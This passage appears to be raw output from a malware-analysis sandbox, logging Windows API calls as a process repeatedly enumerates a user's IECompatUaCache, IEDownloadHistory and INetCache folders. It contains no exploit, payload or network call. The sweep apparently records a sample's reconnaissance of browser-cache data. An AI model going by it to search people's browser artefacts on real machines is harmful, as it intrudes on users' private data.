returned 1 [0211.136] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low", lpFilePart=0x0) returned 0x49 [0211.136] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatuacache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469460 [0211.137] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.137] FindNextFileW (in: hFindFile=0x1d469460, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.137] FindClose (in: hFindFile=0x1d469460 | out: hFindFile=0x1d469460) returned 1 [0211.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.137] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low", lpFilePart=0x0) returned 0x49 [0211.138] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IECompatUaCache\\Low\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iecompatuacache\\low\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0211.138] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.138] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.138] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0211.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0211.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0211.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.139] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory", lpFilePart=0x0) returned 0x47 [0211.139] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iedownloadhistory\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.139] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.139] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.140] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.142] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory", lpFilePart=0x0) returned 0x47 [0211.142] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\IEDownloadHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\iedownloadhistory\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.143] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.143] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfcb4df2e, ftCreationTime.dwHighDateTime=0x1d9b561, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.143] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.144] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3f [0211.144] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x666043d7, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x666043d7, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a00 [0211.144] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x666043d7, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x666043d7, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.145] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x430a0153, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430a0153, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0211.145] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1 [0211.145] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6aa36426, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1 [0211.146] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x430a0153, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430a0153, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="counters.dat", cAlternateFileName="")) returned 1 [0211.146] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE", cAlternateFileName="")) returned 1 [0211.146] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.146] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0211.147] FindNextFileW (in: hFindFile=0x1d469a00, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0 [0211.147] FindClose (in: hFindFile=0x1d469a00 | out: hFindFile=0x1d469a00) returned 1 [0211.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0211.147] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache", lpFilePart=0x0) returned 0x3f [0211.147] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x666043d7, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x666043d7, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4692e0 [0211.147] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x666043d7, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x666043d7, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.148] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x430a0153, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430a0153, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0211.148] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa49dfe15, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0xa49dfe15, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0xa49dfe15, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1 [0211.148] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6660309e, ftCreationTime.dwHighDateTime=0x1d8a651, ftLastAccessTime.dwLowDateTime=0x6660309e, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x6aa36426, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1 [0211.148] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x430a0153, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x430a0153, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="counters.dat", cAlternateFileName="")) returned 1 [0211.148] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430a0153, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x569229, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x569229, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE", cAlternateFileName="")) returned 1 [0211.149] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42cc0372, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42cc0372, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42cc0372, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0211.149] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 1 [0211.149] FindNextFileW (in: hFindFile=0x1d4692e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.149] FindClose (in: hFindFile=0x1d4692e0 | out: hFindFile=0x1d4692e0) returned 1 [0211.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0211.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0211.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.150] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", lpFilePart=0x0) returned 0x4b [0211.150] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.ie5\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc0b0) returned 1 [0211.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.153] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5", lpFilePart=0x0) returned 0x4b [0211.153] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.ie5\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0211.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc0b0) returned 1 [0211.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0211.440] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x4b [0211.440] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.mso\\*"), lpFindFileData=0x1e0dbe20 | out: 